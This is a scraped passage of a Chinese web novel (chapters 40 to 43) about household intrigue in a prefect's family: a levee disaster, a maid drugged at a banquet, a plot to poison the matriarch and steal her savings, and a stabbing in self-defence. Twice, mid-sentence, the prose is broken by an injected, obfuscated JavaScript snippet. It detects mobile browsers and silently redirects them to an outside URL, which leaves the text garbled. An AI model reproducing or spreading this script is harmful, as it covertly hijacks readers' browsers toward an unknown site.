只是逍遥光阴易过，转眼就是正月十六。元宵灯尽，李氏和秦秋见好就收，十六一早，李氏就将秦秋送回了凝晖轩。 与此同时，一道急报也被送到了刘刺史的跟前。 “大人，出事了！昨夜武陵郡百姓聚集在芷江边赏灯火百戏，不料河堤崩塌，不慎落水者上百，经过军民合力打捞，至亥时，已悉数搭救上岸，只是……只是……淹死百姓二十九人，还有十数人下落不明！” 40. 第四十章 刘从俭去和熙堂向刘母辞行时，刘母正带着几个小姑娘在用早膳。刘八和刘九倒还从容，只虞七娘和吴十娘在刘从俭进门的一瞬，不禁都红了脸。 自二人醒来发现自己身处和熙堂，又各自从长辈处被透了口风之后，住在和熙堂的这些日子，二人面上虽一如既往地矜持，但在心底，却是都把刘母小心翼翼地供着哄着了。 刘从俭也十分乖觉，知晓刘母此举背后深意，近日来晨昏定省或是遣人代劳，或是避着他人，打落水那事之后，这还是他头一回不避嫌疑地踏入和熙堂的院门。 刘母见了儿子，只当是他想通了，脸上的喜色压不住，正要开口趣上两句，却见儿子一脸凝重。刘从俭不容她多想，人到近前将下袍一撩一甩，顷刻间已单膝着地，众人唬得忙不迭起身避让。 “母亲，儿子得去武陵郡一趟，短则三五日，长则，不好说。事态紧急，便不与母亲多说了，儿子告辞，望母亲在府中加餐勿念！”言罢，刘从俭利落地磕了两个头，而后翻身就走。 这一幕直把众人都看愣住了，等刘从俭都一脚迈过门槛了，刘母才回过神来，急急地喝了一声“站住！”，自己则由木槿扶着，颤颤巍巍地追上去。 刘八和刘九面面相觑，不知该作何表示。虞七娘眼随着刘母的动作，脚下才一动就被她的丫鬟扯住。吴十娘则是绞着手帕，神色不安。 刘从俭闻声，只得生生地把跨了出去的左脚收回，侧转过半边身子，由着疾步赶上的刘母拉住他的手。只听刘母一叠声地追问：“这正月还没过呢，到底是什么了不得的事非得你亲自去啊？什么叫‘长则不好说’？你这话说得含含糊糊的，叫我怎么放心！” 刘从俭不想对刘母透露太多公事，不知为何，他直觉此事与吴家脱不了关系，而据萧举年查到的线索，二房又与吴家极其密切，而他娘…… 刘从俭微微倾着上身，一垂眼便对上刘母苍老的面庞，那双满盛担忧的眼睛周围已是沟壑纵横，她对自己担忧是真的，可是她对二弟的纵容溺爱也是真的！若有一日兄弟二人刀锋相见…… 刘从俭心头一声喟叹，微眯了一下双眼，又飞快地睁开，对着刘母挤出一个笑来，尽量放缓了声音，道：“紧急公务。母亲放心，儿子治理朗州已有十数年，什么风浪没见过，定能平安归来。” 刘母见他这般，只好放弃追问，换作一声长叹，问道：“既如此，你身边多带几个人。唔，让青梧和秦秋两人都跟过去。” “母亲——” “你自己说了，短则三五日，万一三五日解决不了，你在外面衣食起居总得有人服侍妥帖吧？你带不带？你若不想带她们，我就从和熙堂给你指人了，木樨——” 见刘母执意，刘从俭只得让步，连声应下，又说了几句保重之语，才抽身走了。 刘母这才一步三叹地回了饭桌前，众人见此，也都没了说笑的心思，一顿早膳用得寂然无声。 半个时辰之后，三辆马车依次驶出了刺史府的大门。聚在二门外送行的一众人等，都在感慨刺史大人的不易。只有刘从裕，在折返回凝曦院的路上时，嘴角不经意地上翘。 秦秋觉着，似乎从落水之后，她的脑子就不太跟得上变故了。以往都是她洞察先机，而今却总是被外界推着走。譬如今日，不过是回家歇了几日，谁承想一回凝晖轩就能赶上随行出府这种十年不遇的事！ 所幸，青梧和鹊儿能干，一个随意领了两个人，三两下就将刺史大人的行李收拾好了，一个在她目瞪口呆时，风风火火地就为她收拾好了包袱。 她才醒过神就被打包送上了下人们乘坐的马车。 刘从俭此行，除了随行的小厮，就只带了秦秋和青梧二人。此时，二人心情各异。 秦秋一回过神，才想起事发突然，她都还没给家里报信。 青梧似看出了她心中所想，笑着安慰道：“你放心吧，鹊儿肯定会去给秦婶送信的。上回你落水，也是鹊儿机灵，及时叫来了秦婶。”青梧说着，声音又矮了下去，每次提到这事，她都止不住露出讪意。 秦秋一想也是，既是老夫人指派的差事，和熙堂总会有人善后的。她心下稍安，心一定便不由自主地开始思索此趟行程究竟何故。大人是吩咐她二人按着半月的行程收拾的，半个月，武陵郡，莫非……秦秋想到了先前的河道监修账册！ 莫非赎身机遇来得如此迅速！秦秋眼前一亮。 “想什么呢？这么高兴？”青梧递给她一杯热茶，忍不住问道。茶水吃食还是临出门前凝晖轩的人塞给她们的。 秦秋自以为想通了关节，眼底有掩不住的兴奋，随口答道：“我还没去过武陵郡呢，刚好趁此机会见识见识！” 青梧跟着笑了，笑了一阵，又忍不住将车窗推开一条细缝，朝前方望了两眼。 “大人，这事会不会太巧合了些？”为首的马车内，萧举年将疑惑宣之于口。 刘从俭的眉头从上马车之后就没松开过，闻言，沉吟片刻，道：“你也觉得巧合？” 萧举年拧着眉头，点头应道：“按说，吴家只是求财，胆子再大也不敢在河堤上做手脚，可偏偏却是河堤塌了！我还是头回听说百姓看灯能把河堤踩塌了的！若是咱们在年前先上报了贪墨一事，此刻该是咱们将吴家的主事人抓捕下狱。可眼下……眼下却是被动了！” 萧举年忍不住垂头叹气。 “谁说不是呢！”刘从俭眉心又添两道褶皱，叹道，“数十条人命在那儿，我即便查明真相悉数上报朝廷，可在这个节骨眼儿，只怕他人认作是我在推诿赛责！呵，他们可真是敢呐！以数十人命献祭来给我设局！你我此去武陵郡，危矣！” “大人！”萧举年的心揪成一团，低呼，“大人的意思是，他们故意毁坏的河堤？以百姓为祭？” 刘从俭看着他，眼底是浓得化不开的冷意，良久方叹：“他们何曾把他人性命当做性命。也许在他们看来，弄死区区几十个百姓，能拉我陪葬，是再便宜不过的买卖！武陵郡，咱们此去容易，要离开，怕是要拼个你死我活了！” 萧举年的心沉到了深渊，才定亲就要这么拼命吗？大人虽是鳏夫，但好歹 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郭云静心跳得厉害，人都要站不稳了，她忙自己撑着桌沿坐了，又给自己倒了一杯茶润嗓子。好一阵，她才平复下来，一时沉浸在刺史夫人的美梦之中，一时又替大房生出几分悲凉，偶尔看向榻上躺着的人，忽又生出几分恐惧。 郭云静正兀自游走着心神，忽见刘从裕翻身坐起，一手支颐一手撑腿，定定地看着她，笑道：“我交待你的事办得如何了？这几日回来，春雪见了我，就跟兔子见了鹰似的，怪有趣的。呵呵！” 郭云静觉得嗓子又开始发干，她猛灌了一大口茶水。刘从裕显然不满她的反应，起身走到她身侧，一手按在她的肩头，压迫感十足。 “夫人？办得如何了？” 郭云静将茶水咽尽，点头道：“我已将你的话尽数与她说了，她虽还不曾松口，但是心里定是动摇了。这两日，我再加把火！” “好，好！”刘从裕拍着她的肩，道，“趁着老大不在家，咱们得赶紧把这事做了！先摆布了和熙堂的人，等娘亲受不住打击时，咱们才好在她身边服侍，不是吗？” “春雪！春雪！怎么越叫你越跑呀，你站住！”木槿几步追上前面的人，强行扳过对方的脸，狐疑地打量着她，道，“你这是怎么了？遇着你两回了，都是见我就跑？怎么，二夫人又拿你撒气了？” 春雪白着一张脸，想说话，张了嘴却又闭上，最后只是摇头。 木槿更觉奇怪，道：“二房也不是二爷和二夫人一手遮天的，没个还没出正月就成日里打骂奴才的道理，若是你受了委屈可要告诉我，我好悄悄地让老夫人知道。” 春雪鼻尖一酸，忽然拉住木槿的手，说道：“姐姐可否帮我求求老夫人，等出了正月，放我——” “春雪！”郭云静的声音在二人身后响起，木槿感到掌心的那只手明显一颤，还未待她想明白，郭云静已经盈盈笑着来至二人身边。 “哟，木槿也在呢！刚好，我要去给老夫人请安，一块儿走吧！” 41. 第四十一章 郭云静几步上前，“正巧”地挤进了二人之间，又十分自然地将二人交握的手分开，自己笑着携了木槿的手，状似极其随意地闲话家常，携手往和熙堂而去，只在不经意地偏头时，对春雪递去狠毒且满含警告的一瞥。 春雪好不容易鼓起勇气，话才起了个头就被郭云静掐断，她麻木地跟在二人后头，垂下的脸庞尽是灰败之色。 木槿可没漏掉方才春雪眼里的恐惧和战栗，她深知二爷夫妇不是好人，郭氏自打被夺了管家权，连日来何曾有过这般好颜色，因此她虽是赔笑走在郭氏身边，心里亦打起了十二分的小心。 一行人走进和熙堂时，刘母正在听裴氏念年礼单子，听丫鬟来禀时，连刘母都诧异地挑了挑眉。要晓得郭氏此人最好面子，一连多日都是深居简出，恨不能连每日的晨昏定省都躲开了众人，刘母抬头瞅了瞅天色，这不早不晚的，倒是稀奇！ 就连一向处事波澜不惊的裴氏，眼底都有一丝波动。 越是靠近东屋，郭云静脸上的躁意就越是压抑不住，尤其是在隔着两架屏风都认出了那个正取代自己念礼单的人时。郭云静心里发恨，可一想到今日此行的目的，她只好连连吸气，强行压下翻涌的气血。 木槿如何察觉不到身边之人遽然加重的喘息，她既头疼又心烦，只好抢先两步撩开最里间的珠帘，对着刘母推开笑脸：“老夫人，二夫人来了！” 不仅是刘母，正在西屋玩叶子牌的几人也都被外面的动静吸引了目光，刘九更是直接趿鞋下榻，整张脸都贴上了门边的屏风，不住地咕嚷：“好生奇怪！好几日没见着二嫂了，她今日倒有闲情！” “九妹妹，小心些！仔细弄花了脸！”虞七娘俨然一副长嫂的模样，她本就坐在炕沿边上，起坐都比另两人便宜，只见她笑嘻嘻地牵了刘九一只手，将人往回带，一面走一面说，“二夫人和三夫人有庶务要忙，她们忙她们的，咱们玩咱们的，斯斯文文地坐下玩牌是正经。” 吴十娘想插话，但是被虞七娘得意的眼神一扫，她忙耷拉下脑袋，抿着嘴，有些呆滞地盯着手里的牌，一副嘴笨柔弱好欺负的模样。 若是往日，见吴十这般，刘九不忍心冷落她，总要主动递几句话给她的。可同在和熙堂住了这么几日，看多了这副样子，刘九也有些腻味，更何况自落水醒来后，刘八多次耳提面命，让她多长几个心眼。今日这牌局，若非虞七热情张罗，她也是不乐意见她们的。 四人重又围着炕上的小方几坐好，该刘九掷牌了，她随意扔了一张，忍不住继续咂嘴：“我方才瞧得真切，二嫂今日高兴得很，笑得嘴都合不拢了！我上次见二嫂这么高兴，好像还是过年之前呢——” “咳咳！”一语未了，她就被刘八的咳嗽打断，刘从绵重重地剜了妹妹一眼，大堂兄才出远门，二堂嫂就这般高兴，这传出去像什么话！ 刘从绥见姐姐又瞪她，心里虽不服气，但也不得不止住了话头。 吴十娘却在这时忽然开口了：“九姑娘若是好奇，我陪你过去老夫人那边瞧瞧吧。咱们玩牌也有小半个时辰了，想必九姑娘也闷了，出去走走也好。” 刘从绥眼睛一亮，正要答话。 虞七娘已经讥笑出声：“九妹妹还敢跟着她走呢？上回你心疼她，陪她去看雨凇，结果怎么着？九妹妹还没吃够教训呢？被人卖了一次还不够，还上赶着数钱呢？”虞七这话本意是要讽刺吴十，她就见不得对方每日一副可怜无辜的扮相，谁挨上她谁倒霉。 不料，此话一出，立即戳中了刘九这几天刻意压下的心事。虞七话音刚落，吴十和刘九两人，一个红了脸，一个红了眼。 虞七才知嘴快失言，忙软语去安抚刘从绥，只是刘从绥已经伤心地伏在刘从绵怀里哭出声来。 玩牌自是玩不下去了，虞七娘几乎是落荒而逃回了自己的厢房。 四人不欢而散。 等那二人走了，刘从绵才将刘九从怀里拎出，叹道：“往日里教你那些话，你总听不进去？如今可知晓轻重了？” 刘从绥素日是个得过且过的性子，烦恼不到眼前就索性假装看不到，自落水醒来后得知是吴四郎救了她，她也曾消沉了两日，可见刘母并未主动跟她提起这事，祖父和耶娘也未急着接她家去，她以为此事便是揭过了。 虞七娘的话虽是为了挤兑吴十娘，可那话中深意却是直割她的肝肠。 “姐姐，那吴四郎声名狼藉，若是，若是阿耶看上了吴家，应了这门亲事可怎么办呐？我不要嫁他！” 刘九的担心不无道理，若论刺史府的门第，那自然是吴家高攀，可说到底，她姐妹二人只是旁支，别看刺史府的下人们每日里“八姑娘“九姑娘”叫得殷勤，背地里还不知怎么嫌她们呢！ 刘九越想越怕，又啜泣起来。 刘八也没辙，比起妹妹的亲事，另一桩亲事更可恨！刘八咬住了后槽牙。 她们姐妹二人出入刺史府频繁，耳朵听过、遥遥见过的外男就那么几人，都是与刺史府有瓜葛的。那人，虽是刺史府的奴才出身，可，可在她能够得着的范围之内，再没有比他更合她心意的了！可为什么……为什么……一个丫鬟也能抢走她属意的人！ 每每想起此事，刘八的一颗心就宛如针刺，她眼中不禁露出几分恨意，以至于木槿进屋她都来不及收回。 木槿被刘八眼里的怨毒吓了一跳，缓了片刻才笑道：“两位姑娘在做什么呢？老夫人叫我来送果子，这是三夫人方才送来的金桔。” 刘八一惊，忙收敛心神，满面笑着给木槿让座。刘九也背过身去收拾眼泪。 木槿扫了一眼屋内的陈设，炕上的小茶几上还有未收拾好的叶子牌，她便笑道：“九姑娘这是怎么了？可是玩牌输了不成？九姑娘别伤心，回头我帮你看牌，狠狠地赢她们几吊钱。姑娘快洗洗手，过来吃果子。” 刘九收了眼泪，换上笑脸，先是向老夫人道谢，再拣了两个金桔塞进嘴里，一时无话。 木槿见她二人这番情状，只当是姐妹拌嘴，便不欲多待，随意坐了坐就打算起身回东屋，只是她人还未动，另一个人却从东屋追了过来。 “你们三个躲在这儿说什么体己话呢？”郭云静呵呵笑着走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969319|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进屋来。 刘八和刘九忙起身去迎郭氏，木槿正要趁此机会溜走，却被郭云静一把伸手拉住。 “怪我失礼，两位妹妹在和熙堂住了这么久，我也不得闲儿请你们去凝曦院坐坐。可巧今日有空，昨日你们二哥哥又搜罗来了几件新鲜玩意儿，我来时就已吩咐备下一桌席面，今日请两位妹妹过去喝茶。木槿也一起吧？” 郭云静笑得一脸温和，手上的力道却是不容拒绝。 木槿笑着去推郭氏的手，连声推辞：“二夫人说笑了，二夫人的席面，哪有奴婢吃席的道理。二夫人既要请客，便带两位姑娘去吧，老夫人那儿，我替二夫人去回话，和熙堂的晚饭便不预备两位姑娘的分例了。” “别呀，你可是稀客，往日请还请不来呢！春雪，你去老夫人那儿，替木槿当差！就跟老夫人说，木槿一年到头辛苦了，今日我替老夫人做东，犒劳木槿姑娘。老夫人若是不点头，我亲自去说！” 看着你拉我扯的二人，刘九念及往日木槿对她姐妹二人的照顾，正想开口替木槿开脱两句，不料，刘八竟上前挽了木槿的胳膊，笑道：“木槿姐姐与我们同去吧，二嫂的席面想来精致得很！” 郭云静不妨还有帮手，倒是意外之喜，她冲刘八递去一个笑脸。 刘八回以一笑，郭氏这般盛情邀约，她猛然想起那日无意间听到的事，心里竟隐隐生出几分畅快。 原来，自从刘八暗中属意萧举年，她本以为，她若想得偿所愿，最大的变故应来自木槿。毕竟，她也不笨，萧嬷嬷和她们姐妹二人都是和熙堂的常客，往日里，萧嬷嬷暗中看木槿的眼神，也许老夫人没注意到，但她却是抓住过几次的。 原本，她暗恨，为何萧嬷嬷放着她这个刺史府的族亲不要，非要一个和熙堂的丫鬟，直至那日，她偷听到了二堂兄和伯娘的对话，她心头浮上窃喜，二堂兄这人她也略晓几分，于女色上最是荒唐不过，但凡他惦记上了，哪怕最后他不能得手，伯娘也不可能再把木槿许给萧家。 就在她以为萧举年是她囊中之物时，却出了落水那事，而后阖府皆知，原来从刺史府出去的萧录事已经跟凝晖轩的秦秋定下了亲事，那日，她两眼一黑，几度伏枕痛哭。旁人只当她是担心妹妹，只有她知道，她是为自己，是不甘，是怨恨。 这恨本该冲着秦秋，可是她一个刘家宗族的九姑娘尚不能称心如意，她如何能甘心看着别人如意！木槿不是与秦秋交好吗，凭什么她们这些做丫鬟的，一个两个都能踩她一头，她偏要看着她们不得善终！二堂嫂可不是善茬，不管这桌席面是为着什么，她既想让木槿去，她何不助她一把，也乐得看一出好戏！ 刘八恶毒地想着，心头生出几分畅快。 三人正拉扯不定，吴十娘又去而复返地撞了进来。 “二夫人？见过二夫人。这是？”吴十娘小心翼翼地打量众人神色。 好的很，又来一个！看客不嫌多，索性多带几个！郭氏忙转头吩咐身后的丫鬟：“去，去清渊阁请咱们二姑娘，把虞七娘子也叫上，今日人齐全，咱们索性在凝曦院闹上半日！” 42. 第四十二章 木槿虽然不晓郭氏今日葫芦里到底卖什么药，但是她只要一想到春雪此前那未尽之语以及郭氏一反常态的热络，她就晓得二房今日定无好事，可恨她此时被郭氏和刘八二人齐齐缠住。 木槿被二人裹挟着出了西屋，她急得浑身冒汗，忙拔高了嗓门，道：“二夫人您快松开奴婢，使不得的，奴婢还得回去伺候老夫人呐！” 几人这番动静，早惊动了东屋的婆媳二人。 刘母原还纳闷，郭氏今日怎这般乖巧，方才在她跟前，面上一丝愠色也无，向自己柔柔顺顺地说了几句宽心话，又客客气气地与裴氏寒暄，不多时又说去西屋看看几个小姑娘。见她总算有了几分气度，刘母便随她去了，自己继续听裴氏禀报家事。 不过也才一盏茶的功夫，外面就传来喧哗之声。 刘母不耐地皱了皱眉，又隐隐听到木槿的声音，她更纳闷了，裴氏见状，忙伸手将她搀扶至外头。 “老夫人！”木槿见了救星，再次用力甩了甩两边臂膀，这回竟松动了。趁着郭氏和刘八愣神的功夫，木槿几乎是跳至刘母身边，搀住她另一只手。 “你们这是？”刘母先看了脸红气喘的木槿一眼，视线又在众人身上一一扫过，最后停在郭氏身上。 郭氏见刘母脸上没有过多的不悦，忙将自己备好的腹稿献上：“母亲，儿媳一直想着趁这几日得闲，拣个好日子请几个妹妹去凝曦院坐坐，尽尽我的心意。可巧今日还算暖和，人也齐全，我已设下酒席，专程过来请八妹妹、九妹妹和虞、吴两位妹妹。” “方才我过去时，八妹妹与木槿正说话呢，我见她们说得高兴，想着往日我琐事烦心，不能时刻在母亲跟前孝敬，木槿倒是免了我们做儿女的不少烦忧，便想着请木槿一同过去，松快半日！” 郭氏话未尽述，木槿已经急得在刘母身侧连说好几声：“这都是婢子分内之事，当不起二夫人这般。” 刘母听完，倒是笑了，她反手拍拍木槿，笑道：“我当是什么了不得的大事呢！难得你们二夫人有心，你就随她去吧！” 刘母说完，又看向郭氏，道：“难为你有这个心，这样也好，你就替我好好敬木槿两杯，只别把人灌醉了，她还得回来当差呢！” 原来，刘母只当是郭氏在为此前之事赔罪，刘府二夫人特意摆席宴请虞、吴两家未出阁的小姑娘，怎么都算给足了两家面子，在刘母心中，郭氏既有心替她做这个脸，她自然乐得成全。 刘母呵呵地笑着吩咐完，将手在木槿背上一推，自己又扶着裴氏的手回东暖阁去了。 木槿第一次生出无力之感，原来，即便是仗着和熙堂的管事大丫鬟这一层身份，她也有不得不踏进二房的这一天。 不明真相的刘九和虞七等人，欢欢喜喜地随了郭氏前来做客，一桌席面果真是水陆毕陈、精细妥帖，几人吃得欢喜，刘八更是一副看好戏的心态。她虽也不晓这鸿门宴为何而设，但观郭氏举止，木槿肯定是目的之一。 只有木槿如坐针毡，在踏入凝曦院的一瞬，春雪就从她的视线里消失了。木槿只得安慰自己，二夫人当着老夫人的面将她带走，总得把人全须全尾地送回去吧！虽是这般想，可她仍是酒不沾唇、食不动筷。 郭云静招呼了一圈，转头看到木槿警惕的模样，唇边不禁浮上冷笑，心道，往日敬你，你总不把二房放在眼里，如今也有落到二房的一天。只是，她自己都未曾察觉，心底还有一闪而过的悲凉，为虎作伥久了，竟以为自己也是老虎。 郭云静才要朝木槿走去，就听丫鬟来报：“回二夫人，清渊阁的人来回话，二姑娘出府会友去了。” 郭云静眉头一皱，带上了两分薄怒，斥道：“胡说！她在朗州哪来的友？会哪门子友？” 那丫鬟瑟缩了一下，硬着头皮，继续说下去：“是真的，郭老夫人也是这般说的！说是昔时益州之友，才来的朗州。” 算了算了，她不来也罢，只要不坏自己的事，随她去！郭云静不耐烦地挥挥手，那丫鬟忙疾步退下了。 “木槿，来来来，我敬你一杯！老夫人可是放了话的，当着这许多人，我可不能悖了婆母的意思！这酒名为昆仑殇，可是二爷花了大价钱从长安弄回来的，一两黄金一两酒呢！” 木槿看向笑着逼近自己的人，只觉头皮发麻。她忙站起身，推辞道：“二夫人折煞我了，我还是下去给二夫人和几位姑娘斟酒吧。”说着就要撤身，却被郭云静一把拉住。木槿还要推辞，才张嘴，就被郭云静强行喂了一杯酒。 辛辣入喉，木槿忍不住咳嗽。 “春雪，快，给木槿喝杯茶漱漱口，她怕是喝不惯这酒。” 木槿被郭云静按坐在椅子上，还没缓过神来，就听到熟悉的名字。微怔间，春雪已不知何时托着一个茶盘来到她和郭氏二人身侧。 “来，我再敬你一杯！” 木槿还未厘清思绪，郭云静下一杯酒又已抵在她唇边，木槿冷不防又被灌了一口。 坐在木槿对面的刘八，眸中微闪，默不作声地放下了手中酒杯。 木槿本就不惯喝酒，猛然间被连灌两杯烈酒，如何能抵得住。是以，春雪手里的茶盏一出现在她视线里，她就不假思索地接过喝了一大口。连春雪那声短暂溢出的轻呼“别”，她都毫未察觉。 郭云静却是听到了，暗中狠狠地踢了春雪一脚。 春雪对上郭云静的眼神，那伸出一半的手终究是收回了茶盘底下。 木槿只觉久旱逢甘霖，入喉的茶水冲散了酒的浓烈，她觉得好受了些，自是没察觉到身边二人的动静。 刘八眨眨眼，心道，原来跟酒无关哦，她又勾唇端起了酒杯。 半盏茶入腹，木槿才放下茶盏，对着郭云静浅浅一笑，道：“二夫人敬的酒，奴婢已领了，那奴婢便回和熙堂复命了？” “好呀！”郭云静一口应下，而后就势在她身旁的空位坐了，一旁的丫鬟见状，忙上前为她斟酒布菜。 郭云静这般爽快，反倒是把木槿给看愣了。算了，能走就好！木槿摇摇头，只是才一起身，就觉天旋地转，一个踉跄向前扑去，春雪眼疾手快地接住了她。 郭云静一脸惊讶，叹道：“哎呀，木槿这是怎么了？才两杯就醉了不成？”她这一嗓子，声音不高不低，刚好把屋内所有人的目光都吸引了过来。 只两杯酒，就这么大后劲吗？木槿晕晕乎乎的，嗓子瞬间哑得说不出话。 春雪扶着她，垂着头，旁人看不清她脸上的表情。 “春雪，你快将木槿好生送回和熙堂！可别出了什么岔子，人若少了一根头发，我就直接绑了你去老夫人跟前请罪！去吧！”刘九、虞七等人只见郭云静体贴地一番嘱咐，将人送出了正房，才又折身回来待客。 二嫂人怪好的咧！刘九心想。 只刘八垂下眼帘，沉吟片刻，终究是又神色如常地抬头，与众人继续喝酒说笑了。 木槿被春雪扶着，一跨出正房的门槛，她就察觉到不对劲了。 凝曦院的大门在她视线尽头晃了又晃，竟晃不见了，这不是出院门的方向。木槿满眼疑惑，春雪垂着眼睛，躲开她的眼神，只手上依旧半抱着她，往西厢而去。 “春雪——”木槿觉得嗓子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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木槿强迫自己冷静下来，她想起秦秋平素挂在嘴边的那句话“别慌别怕，冷静下来，脑子才能上场”“大不了鱼死网破，同归于尽”，木槿不知自己的脸色看起来如何，但是她发出的声音，在自己听来已是趋于平缓。 “二爷说笑了，二夫人和二爷既已联手罚了奴婢，奴婢长记性了，日后定会改过的。二爷，和熙堂众人亲眼所见，二夫人将我带来凝曦院的，奴婢若回去晚了，只怕老夫人会派人过来寻我。可否容奴婢先行告退？” 刘从裕闻言，不置可否地笑了一声，低头去转手上的扳指。 木槿的眼神又扫过另外两人，吴四郎此时也回到了桌前，自己闷闷地提壶喝酒。春雪，春雪也没走，垂首站在不远处，依旧看不出她在想什么。 木槿又看了一眼屋内陈设，没看到剪刀匕首之类的利器，她心如擂鼓，若是同归于尽，她以一敌三，胜算太少了！就在木槿左右思量之际，刘从裕终于开口了。 “瞧瞧，你在说什么呢？二夫人在众目睽睽之下接你来做客，不假，可春雪也在众目睽睽之下送你回和熙堂呢！这点，八妹妹九妹妹，唔，虞七娘吴十娘都可作证啊。只是，春雪嫉妒于你，半道将酒醉的你扔进湖里淹死了，我们也是没料到的。你放心，老夫人自会给你个公道的。春雪害了你，我们也将她杖毙便是！” 木槿的心沉进了深渊。她瞪着眼前说话之人，良久，又见刘从裕懒懒地提了一杯酒，仰脖饮尽，而后抹抹嘴，道：“这样吧，你替我做两件事，我保你今日无恙，如何？” 43. 第四十三章 木槿飞快地应声：“但凭二爷吩咐。” 刘从裕似笑非笑地看着她，慢悠悠地开口：“我家老太太祖上是宋国公萧瑀，人人皆知萧国公出身南梁王室，江南财富十分、七分尽在梁王手。相传我高祖皇帝立国之时，赏赐肱骨臣僚的珍宝田地大半都是萧国公暗中奉上的。人人都道萧家后人富可敌国，我本是不信的，可是——” 木槿一颗心越发往下沉。 吴四郎已经放下酒杯，双眼直勾勾地盯着说话之人，不自觉地咽着唾液，是啊，他早听说过刘母嫁妆丰厚，可抵半个朗州城，否则，京城那边也不会授意他们盯上这位刘二爷了！ “可是，我那位先祖夔国公临终前，家产可是分得清清楚楚的，当时三子只留良田五顷，余财皆散与朗州百姓。你瞧瞧，如今刺史府的模样，良田五顷下崽也下不了这么多呀！远的不说，且看望老太爷那一支血脉依靠良田五顷过的是什么日子，咱们心里就都有数了，不是吗？” “二爷想让婢子做些什么？” “木槿啊，你猜我娘为何如此喜欢和信任你？”刘从裕不答反问，只是他也没指望对方答话，而是自说自话地继续，“你是家生子，可父母双亡，又无兄弟姐妹，你自幼被养在和熙堂，你定是把我娘当成祖母了吧！你细想想，和熙堂当差的人，是不是身世都与你大差不差，在府中无甚牵挂的？” 木槿知道刘从裕肯定说不出好话，可不防他忽然说到身世，倒是一愣。 “我也是想了很久才想明白的，我娘不仅防着我们，还防着你们呢！哈哈哈！” “二爷到底想让婢子做何事，明说就是。” 刘从裕收起脸上的笑，凉凉地说道：“我只在幼时见过一次，那还是我娘以为我睡着了。她有一个专放体己家私的匣子，这匣子和钥匙在何处，你应当知晓吧？” 成败在此一举，二爷疑心重，不能答应得太快，也不能太冷静，要稳住呀！木槿垂着头，脑子在飞速地转着，呼吸却是越发急促，一只手也是局促不安地攥着前襟，良久，她抿着唇，猛然抬头看向刘从裕，刘从裕眼如鹰凖，一眨不眨地盯着她。 “二爷方才说两件事，此是一件，那第二件又是什么？” “第二件嘛，”刘从裕拉长了尾音，从怀里掏出一个小纸包，道，“兄长出远门，我娘定是忧心得夜不能寐，我这做儿子的于心不忍，特去求了一副‘安神药’，这可是好东西啊，十两黄金才得这么一点儿，连续七日，让我娘睡前服下，我娘此后定能日日睡得安稳。” 木槿的眼睛在一瞬睁得老大，惊骇浮在脸上，整个人往后一缩，良久说不出话来。沉默半晌，木槿才摇头苦笑，看着刘从裕，道：“二爷是不想给我留活路了吗？” 刘从裕轻轻一笑，道：“怎会呢？木槿！这两件事成了，我让你以后跟二夫人平起平坐如何？”他的脸上半是慵懒半是轻浮。 木槿又垂头思索片刻，一副天人交战下了很大决心的模样，而后她才咬牙说道：“我也有条件，我可以帮二爷办成这两件事，但是二爷需应下我，放了我和春雪，并赠我二人白银千两、送我二人离开朗州！” 木槿说完，定定地看着刘从裕，等着对方的回复。这般，应能取信于他了吧！木槿紧张得后背发汗。她不知，在无人注意的角落，春雪眼底蓄泪，藏在袖中的右手握紧了剪子。 “爽快！”刘从裕眉头一松，笑了起来。 木槿也轻呼出一口气，只是下一瞬，一口气又提在嗓子眼。 刘从裕忽地起身向她走来，木槿再次往后缩去，只是已到墙角，退无可退。背在身后的右手，小拇指再次狠狠地抠进手心，她没想到，那寸长的指甲竟是派上这种用场！ “啧啧，只是，木槿啊，市井做买卖都得付定钱，何况你我谈的可是大生意，你说，定钱怎么付合适？”刘从裕猛地捏住木槿的下巴，用力一掐。 木槿本能地把头一扭，压住胃里泛上的恶心，强作镇定地仰头直视着刘从裕，道：“二爷说的是，若是事败，婢子可是会没命的，不知二爷要如何付定钱，不如二爷先将婢子与春雪的身契拿来？” “哈哈哈！说的也是！”刘从裕忽然大笑，飞快地伸手朝木槿身后抓去。 “你干什么！” “啧啧，我说你怎么跟我说话还能头头是道呢，挺能下狠手啊！”被刘从裕抓出来的手，掌心鲜血淋漓，刘从裕盯着那手，佯叹摇头，“唉，襄王有意神女无心啊，你既无意于我，我又如何放心于你呢？你看这样好不好，我有个主意，你将定钱付给吴四郎，事成之后，我保管赠银送你离开朗州，这般，不就皆大欢喜了吗？四郎——” 刘从裕一声喊，吴四郎立即眼冒绿光地站起身。 就是此时了！ 吴四郎早就心荡神驰，在一旁垂涎许久，今日虽不见郭二姑娘，可这个小丫鬟也是颇有动人之处！吴四郎魂魄离身，双手交搓，笑得不堪入目，丝毫感受不到身后的动静。 春雪迅速地操起手里的剪刀，满腔愤怒都化为手中一剪，朝着吴四郎的颈子就是一扎！ “啊！” 刘从裕只听身后传来一声惨叫，接着就是重物落地之声，他猛地回头，只见眼前寒光一闪，春雪就着那股劲径直向他扑来，他慌忙地提起木槿朝着来人一扔，自己闪身避开，春雪避让不及，慌乱之中不忘错开剪刀接住木槿，二人双双跌落在地。 “反了你！”刘从裕气急，眼露凶光，抬脚就要去踹地上的两人。 “二——救——”另一端的吴四郎捂着血流不止的脖劲，只能发出两声不成调的呼救。 “二爷还是救人要紧！吴四郎死在凝曦院，看你怎么交待！”木槿和春雪互相搂着，虽蜷在地上狼狈万分，但是木槿知道危险已解除，心里畅快得狠，话里都带出了得意。 